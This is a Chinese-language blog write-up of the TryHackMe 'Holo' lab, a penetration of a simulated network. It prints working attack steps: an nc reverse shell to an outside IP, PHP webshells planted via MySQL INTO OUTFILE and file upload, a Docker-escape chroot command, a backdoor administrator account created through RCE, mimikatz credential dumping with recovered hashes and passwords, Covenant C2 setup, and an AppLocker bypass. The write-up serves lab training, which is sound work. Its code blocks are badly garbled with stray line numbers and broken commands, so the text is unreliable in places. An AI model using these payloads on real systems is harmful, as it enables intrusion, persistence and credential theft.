Initial Recon
扫一扫网段先
扫出来
33
和250
33
但这里扫的不全,应该用全端口扫描
-p-
250
L-SRV01
vhost
虚拟主机与子域名在一台服务器上运行多个网站,只需要一个额外的表头
Host
来告诉服务器流量应该发送给哪个vhost
,wordpress
或Squarespace
等托管服务经常这么做也就是不同的域名会被解析到同一
ip
上在网站的源码里面找到一个域名
holo.live
同时在
network
里面发现holo.live
的资源没有加载所以选择让
holo.live
解析到ip
上,在/etc/hosts
:随后图片加载成功
随后使用
wfuzz
来爆破子域名:1
wfuzz -u www.holo.live -H "Host: FUZZ.holo.live" -w /root/subdomains-top1million-110000.txt --hw 1402
这里
--hw 1402
是在过滤words
数为 $1402$ 的情况,直接扫描可以发现,即使大部分子域名爆破结果是 $200$ 这种情况是网站指定了一个自定义的错误页面,返回码是 $200$ ,但实际上起到了一个 $404$ 页面的作用,称之为软 $404$。同理有:
—hc
隐藏状态代码—hw
隐藏字数—hl
隐藏行数—hh
隐藏字符数那么这个软 $404$ 页面的特征就是
words
数为 $1402$ ,将其过滤,得到子域名爆破的结果
子域名目录
继续,我们扫描子域名目录,但首先需要把子域名也加入到
hosts
里面通常爆破目录我用的是
dirsearch
,这里正好学下别的1
2gobuster dir -u [url] -w [wordlist] -t [线程数] -x [后缀]
wfuzz -u [url] -w [wordlist]1
gobuster dir -u http://dev.holo.live/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php,txt,zip,bak,rar,sql
dev
admin
文件包含:
在
dev
的talents.php
下,发现图片是从img.php
请求得到的,此事在THM的问题中亦有记载那么不得不试试文件包含了,发现一点过滤都没有:
直接读上面发现的管理员认证文件:
admin:DBManagerLogin!
同时还有一个更高权限用户的用户名
gurag
命令执行
拿获得的账密进后台
dashboard.php
没什么能点进去的东西,看下源码
发现有注释标着
cmd
的命令执行,试一下:直接反弹
shell
了不对,我用的attackbox怎么还连不上草,ip
填错了。。。要用
tun0
那个连然后反弹
shell
的命令很奇怪的不能用bash
,要nc
连回来:nc 10.50.104.23 443 -e /bin/sh
这里顺手找到第一个
flag
:shell
升级:有很多种方案,一种是传马转
msf
,但我用多了,换一种:连上
shell
以后:1
2
3
4python3 -c 'import pty;pty.spawn("/bin/bash");'
export XTERM=term
Ctrl + Z
stty raw -echo; fgdocker
逃逸docker
容器的特征:ps aux
相较于正常的环境来说进程太少了:
.dockerenv
在根目录下能找到
.dockerenv
,该文件从主机操作系统提供环境变量。即使未提供任何环境变量,它也会存在于容器中cgroups
在
/proc/1
目录下:cat cgourp
能看到其路径包含docker
字样:
扫描
在得知是
docker
容器后,需要继续来扫描内网和端口信息:虽然
THM
在这里介绍了bash
和py
脚本来扫,但是正常实战下还是传fscan
或者nmap
来扫比较多:注意靶机里面没有
wget
,用curl -O
下载:扫描前先用
route -n
查看网关:得到网关
192.168.100.1
,扫一下:检查数据库:
根据扫描结果,网关开启了
3306
,即mysql
而且注意反弹
shell
刚连进来的目录/var/www/admin
:这里有外部访问不到的db_connect.php
拿到数据库账密:
admin:!123SecureAdminDashboard321!
登录进去
1
mysql -u admin -p -h 192.168.100.1
可以在
user
表里面看到另一个用户gurag
利用
mysql
命令执行来docker
逃逸思路是由于当前管理员用户有写入权限,那么可以通过
select ... INTO OUTFILE
来往192.168.100.1
目录内写文件又由于其开了
web
服务,那么可以往其网站上写马,再用docker
内的rce
通过curl
触发反弹shell
:1
SELECT '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';
1
curl 192.168.100.1:8080/shell.php?cmd=[反弹shell命令]
令人感慨的是,这里又反弹不了,正好练一下开隧道吧:
隧道设置
攻击机先下载
admin
和agent
然后开
http.server
,用L-SRV02:192.168.100.100
curl
下来,注意目录的权限问题1
curl 10.50.104.23:8000/linux_x64_agent > linux_x64_agent
然后在攻击机上
./linux_x64_admin -l [port]
L-SRV01
上./linux_x64_agent -c [attack_ip]:[port]
use 0
切换到管理面板,然后socks [port]
在本地的
port
端口开启socks
代理这里有点看脸,理论上是可以转发成功的,如果不行就换个端口并加上用户名密码试试:
然后用
foxyproxy
等代理插件配置一下:然后可以畅游
LSRV01
了,即192.168.100.1:8080
也可以连上刚刚用数据库传的马:
同理,这个也可以用来作为跳板:从
LSRV02
上下载客户端:注意这里
python
开http
服务的时候加上&
参数来后台运行然后用网页的
shell
下载:1
http://192.168.100.1:8080/shell.php?cmd=curl http://192.168.100.100:8000/linux_x64_agent > linux_x64_agent
然后通过服务端的
listen
命令在LSRV02
上加一个监听,然后LSRV01
那里先升级一下权限再连一下:然后
use 1
转到LSRV01
,再用shell
命令这里理论上会有一个
user.txt
,但我这个房间里的被人删掉了,愤怒喵HOLO{3792d7d80c4dcabb8a533afddf06f666}
suid
提权但注意当前靶机不存在
alpine
镜像,无法下载,所以指定一个靶机上存在的镜像,用docker images
查看:即Ubuntu:18:04
1
docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh
在
/root
下找到HOLO{e16581b01d445a05adb2e6d45eb373f7}
可持久化建立
为了方便横向,可以把靶机上面的
/etc/passwd
和/etc/shadow
下载到本地破解:1
2
3
4
5
6
7
8
9
10
11
12
13
14linux-admin:$6$Zs4KmlUsMiwVLy2y$V8S5G3q7tpBMZip8Iv/H6i5ctHVFf6.fS.HXBw9Kyv96Qbc2ZHzHlYHkaHm8A5toyMA3J53JU.dc6ZCjRxhjV1:18570:0:99999:7:::
````
最后爆出来是 `linux-admin:linuxrulez`
那么现在就可以使用 `ssh` 来直接登录了:
![](https://pic.imgdb.cn/item/6731f25ad29ded1a8c8103c2.png)
- `Covenant` `C2` 服务器的使用
- 安装git clone —recurse-submodules https://github.com/cobbr/Covenant
dotnet run —project /opt/Covenant/Covenant
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
![](https://pic.imgdb.cn/item/6735cebed29ded1a8c8d1f3a.png)
![](https://pic.imgdb.cn/item/6735cf20d29ded1a8c8d8f59.png)
- 使用-`Listener`
使用中主要有四个阶段:创建监听器,生成 `stager`(即 `payload`) ,部署 `grunt`(应该是反弹 `shell`) ,利用 `grunt`
这些操作阶段都可以使用别的工具,但 `Covenant` 提供了一个集成化的平台,也可以更好的管理协作
第一步是创建一个监听器,其有四个自带的配置文件:
- `CustomHttpProfile` 不需要任何 cookie 的自定义配置文件。
- `DefaultBridgeProfile` C2 桥的默认配置文件。
- `DefaultHttpProfile` 默认 HTTP 配置文件。
- `TCPBridgeProfile` C2 桥的默认 TCP 配置文件。
在 `listener` 界面创建一个,其几个重要参数如下:
- `Name` 监听器名称
- `BindAddress` 监听器绑定的本地地址,一般选择0.0.0.0
- `BindPort` 监听器绑定的本地端口
- `ConnectPort` 反弹shell反弹到的端口
- `ConnectAddress` 反弹到的地址,这里即是 `tun0` 的ip
![](https://pic.imgdb.cn/item/6735d750d29ded1a8c95d11e.png)
下面这个是错误示范:
![](https://pic.imgdb.cn/item/6735d393d29ded1a8c921b4e.png)
看状态栏是未初始化,原因在这里:
![](https://pic.imgdb.cn/item/6735d7b0d29ded1a8c963bf9.png)
`bindport` 换一个就行
- 使用-`launcher`
可以创建一个启动器来快速部署 `grunts` ,有十种可供选择:
- `Binary` 生成自定义二进制文件以启动 `grunt`,不依赖于系统二进制文件。
- `Shellcode` 使用 `donut` 将二进制文件转换为 `shellcode`,https://github.com/TheWover/donut
- `PowerShell` 生成 `PowerShell` 代码以使用 `powershell.exe` 启动 `grunt`。
- `MSBuild` 使用 `msbuild.exe` 生成 `MSBuild XML` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
- `InstallUtil` 使用 `installutil.exe` 生成 `InstallUtil XML` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Installutil/
- `Mshta` 使用 `mshta.exe` 生成 `HTA` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Mshta/
- `Regsrv32` 使用 `regsrv32.exe` 生成 `SCT` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
- `Wmic` 使用 `wmic.exe` 生成 `XSL` 文件以启动 `grunt`, https://lolbas-project.github.io/lolbas/Binaries/Wmic/
- `Cscript` 使用 `cscript.exe` 生成 `JScript` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Cscript/
- `Wscript` 使用 `wscript.exe` 生成 `JScript` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Wscript/
这里重点记录二进制启动的配置选项:
- `Listener` 将与之通信的监听器。
- `ImplantTemplate` 植入启动器将使用的类型。
- `DotNetVersion` 启动器将使用的 .NET 版本,取决于 `ImplantTemplate`
- `Delay` `grunt` 在回调之间休眠的时间。较大的延迟有助于隐秘通信。
- `JitterPercent` `Delay` 中变化的百分比。
- `ConnectAttempts` `grunt` 在退出前尝试重新连接服务器的次数。
- `KillDate` 指定 `grunt` 退出并停止回调的日期。
- `S-SRV01`
拿到 `L-SRV01` 的 `root` 后拓扑图直接更新了,就不用再扫存活主机了:
![](https://pic.imgdb.cn/item/6731f3ddd29ded1a8c8259a8.png)
- 扫描打点
![](https://pic.imgdb.cn/item/6731f988d29ded1a8c86e4ab.png)
![](https://pic.imgdb.cn/item/6731f9a0d29ded1a8c86fa78.png)
然后继续用 `stoaway` 来开一个关于 `L-SRV01` 的代理来访问 `S-SRV01`
![](https://pic.imgdb.cn/item/6731fa21d29ded1a8c875fc6.png)
这里本来想传一个 `dirsearch` 上去扫,但是:
![](https://pic.imgdb.cn/item/6731fd33d29ded1a8c89e435.png)
那就直接看这个登陆界面好了,回顾了一下手里的信息,还有个高权限用户 `gurag` 还没用过,通过 `forgot password` 那页有用户名遍历,可以得出该用户确实存在:
![](https://pic.imgdb.cn/item/6731ffc0d29ded1a8c8bf73a.png)
此时又注意到后面的空参数 `user_token` ,这个东西可以在网站返回包的 `set-cookie` 中找到:
![](https://pic.imgdb.cn/item/6732001bd29ded1a8c8c735d.png)
那么填上去再次请求,发现直接跳转到 `reset.php`
再次填入用户名:
![](https://pic.imgdb.cn/item/673200e5d29ded1a8c8d3b26.png)
此时 `password` 参数可以自定义,设置为 `gurag:gurag` ,并拿到 `HOLO{bcfe3bcb8e6897018c63fbec660ff238}`
- 跳板部署
考虑到 `foxyproxy` 只能代理浏览器,功能很受限制,我们需要引入一个新工具 `proxychains4`
其作用就是将所有 `tcp` 命令通过代理转发,即可以直接在本机上通过 `L-SRV01` 的代理扫描 `S-SRV01` ,而不需要把工具慢慢传到 `L-SRV01` 上
直接 `apt-get install proxychains` 即可,配置文件在 `/etc/proxychains.conf`
在最后面加上代理:
![](https://pic.imgdb.cn/item/6735ef49d29ded1a8caab146.png)
随后在所有命令前面加上 `proxychains4` 即可通过该代理转发
而值得注意的是,并不能使用 `ping` 来验证是否转发成功,因为 `ping` 是基于 `ICMP` ,而该工具仅转发 `TCP`
- 文件上传 `RCE`
登录进去发现文件上传:
![](https://pic.imgdb.cn/item/6732011ad29ded1a8c8d7093.png)
用 `wfuzz` 枚举上传后文件存放的目录:proxychains4 wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt —hc 404 http://10.200.108.31/FUZZ | tee srv_web_dict.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
![](https://pic.imgdb.cn/item/673206dad29ded1a8c922119.png)
试了一下存到了 `images/` 下
这里 `thm` 一直在说有白名单只让上传 `.jpg`,然后讲了下怎么删除 `js` 代码
然后有一大章在讲AV规避,就突然开始做免杀了
但我这里直接传上去了(
普通的确实会被逮捕:
![](https://pic.imgdb.cn/item/67320843d29ded1a8c933d14.png)
但是可以用一个很简洁的马绕过去:<?=
$_GET[1]
?>1
2
3
4
5
6
7
8
9
![](https://pic.imgdb.cn/item/67320870d29ded1a8c936131.png)
在这里发现用 `ls` 会报错,`dir` 没有问题,那么 `S-SRV01` 就是 `Windows`
既然已经 `rce` 了,那就还是让其连接到 `stoaway` 上:'
直接用 `upload` 页面传会显示太大,想用 `powershell` 下下来,但是奇怪的失败了,最后用 `curl` 成功了curl -o “windows_x64_agent.exe” http://10.200.108.33:8000/windows_x64_agent.exe
1
2
3
4
5
但还是连不上
稍微有点舍本逐末了,通过 `whoami` 可以看出是高权限用户,直接用 `rce` 新建管理员用户,注意执行成功会有回显,密码那里应该是有长度和符号的要求?1=net user noone pass.2501! /add
?1=net localgroup administrators noone /add1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
`noone:pass.2501!`
然后直接 `ssh` 就能连,但是要从 `S-SRV01` 跳过去
![](https://pic.imgdb.cn/item/6732137ed29ded1a8c9d9434.png)
在 `Users/Administrator/Desktop` 找到 `root.txt`
![](https://pic.imgdb.cn/item/673213c0d29ded1a8c9dd35c.png)
`HOLO{50f9614809096ffe2d246e9dd21a76e1}`
- `mimikatz` 转储凭据
传一下 `mimikatz.exe` 上去,mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords full” exit > logonpasswords.txt
1
2
3
拿到这几个有价值一点的:watamet:d8d41e6cf762a8c77776a1843d4141c9:Nothingtoworry!
S-SRV01$:3179c8ec65934b8d33ac9ec2a9d93400
Administrator:4c529921152aab85192532e2c8771a92
WDAGUtilityAccount:58f8e0214224aebc2c5f82fb7cb47ca11
2
3
4
5
6
7
8
9
10
11
12
13
14
15
即域用户 `watamet:Nothingtoworry!`
- `PC-FILESRV01`
- 扫描打点
![](https://pic.imgdb.cn/item/6732195ed29ded1a8ca2df75.png)
- `rdp` 连接
既然已经拿到域用户账密就直接试着登录了,正常来讲现在应该用拿到的所有账户用 `crackmapexec` 做密码喷洒,但懒狗了
这里直接连了:proxychains4 xfreerdp /u:watamet /p:Nothingtoworry! /h:600 /v:10.200.108.35
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
桌面上找到 `flag`:
![](https://pic.imgdb.cn/item/6735efccd29ded1a8cab1967.png)
- `applocker` 绕过
用 `L-SRV01` 当服务器上传 `stoaway` ,这里 `curl` 下来执行,发现被拦截了:
![](https://pic.imgdb.cn/item/6735f520d29ded1a8cb00f32.png)
这是由于服务器上设置的白名单应用程序控制,即 `Applocker` ,其标志就是 **此程序被组策略阻止**,详细情况不再赘述
绕过 `Applocker` 通常要利用规则中的错误配置,即试着找到可用于执行程序的目录
可以使用脚本: https://github.com/sparcflow/GibsonBird/blob/master/chapter4/applocker-bypas-checker.ps1
传上来用 `powershell` 来运行:
![](https://pic.imgdb.cn/item/6735f8d0d29ded1a8cb357a9.png)
- `Windows` 态势感知
这里引入两个工具:
- [`Seatbelt`](https://github.com/GhostPack/Seatbelt)Seatbelt.exe —group=system Seatbelt.exe all
Seatbelt.exe -group=remote -computername=<address> -username=<DOMAIN\user> -password=<password>1
2
3
其也支持远程使用:.\SharpEDRChecker.exe1
2
3
- [`SharpEDRChecker`](https://github.com/PwnDexter/SharpEDRChecker)1
2
3
4
5
6
7
8
9
10
11
12
13
具体不细写了,传上去的是[构建好的 `Seatbelt.exe`](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe)
但令人感慨的是他编译的好像环境不一样,我执行不了啊嗯
~~懒狗了,假装这里有图.jpg~~
- 更多的态势感知-`PowerView`
继续引入新工具 [`PowerView`](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
其用于在域上获取网络态势感知:Import-Module .\PowerView.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
随后可以运行其提供的所有命令
![](https://pic.imgdb.cn/item/67360139d29ded1a8cba3673.png)
- `Get-NetLocalGroup`
列出本地所有组
- `Get-NetLocalGroupMember -Group <group>`
列出指定组的所有成员
![](https://pic.imgdb.cn/item/673601e0d29ded1a8cbac096.png)
- `Get-NetLoggedon`
列举当前登录到本地机器的所有用户,其用于识别哪些用户不能接管,或者哪些用户应该在钓鱼等攻击中被作为目标
![](https://pic.imgdb.cn/item/6736035bd29ded1a8cbc4afe.png)
- `Get-DomainGPO`
列出安装的活动目录域 `GPO`
- `Find-LocalAdminAccess`
检查当前计算机所属域的所有主机,并检测当前用户是否为本地管理员,横向移动中很常用
![](https://pic.imgdb.cn/item/6736047fd29ded1a8cbd6321.png)
- 更多的态势感知-`Powershell`
处于各种情况,可能并不会有工具给我们用,所幸 `Powershell` 自带了一些命令,以下是其中一小部分:
- `Get-ScheduledTask`
列出所有计划任务,但有很多冗杂的默认启动任务,可以使用这个过滤:Get-ScheduledTask -TaskPath "\Users\*"
Get-ScheduledTaskInfo -TaskName <Full Path>1
2
3
4
5
- `Get-ScheduledTaskInfo`
指定任务的特定信息:Import-Module ActiveDirectory; Get-ADGroup1
2
3
4
5
6
7
8
9
- `whoami /priv`
枚举当前用户的 `SE` 权限,帮助提权枚举
- `Get-ADGroup`
枚举域内用户组或所有组,但在这之前需要先导入 `AD` 模块:samAccountName -like "*" ```1
2
3
随后会提示使用 `CLI` 过滤器,建议使用:Get-ADGroupMember
与上一个类似,其列出
AD
域成员,用于定位特定用户Get-ADPrincipalGroupMembership
检索用户/组
提权
破防了,不看了
THM打靶日寄17-Holo
- 本文链接: http://noone40404.github.io/2024/10/28/THM打靶日寄17:Holo/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!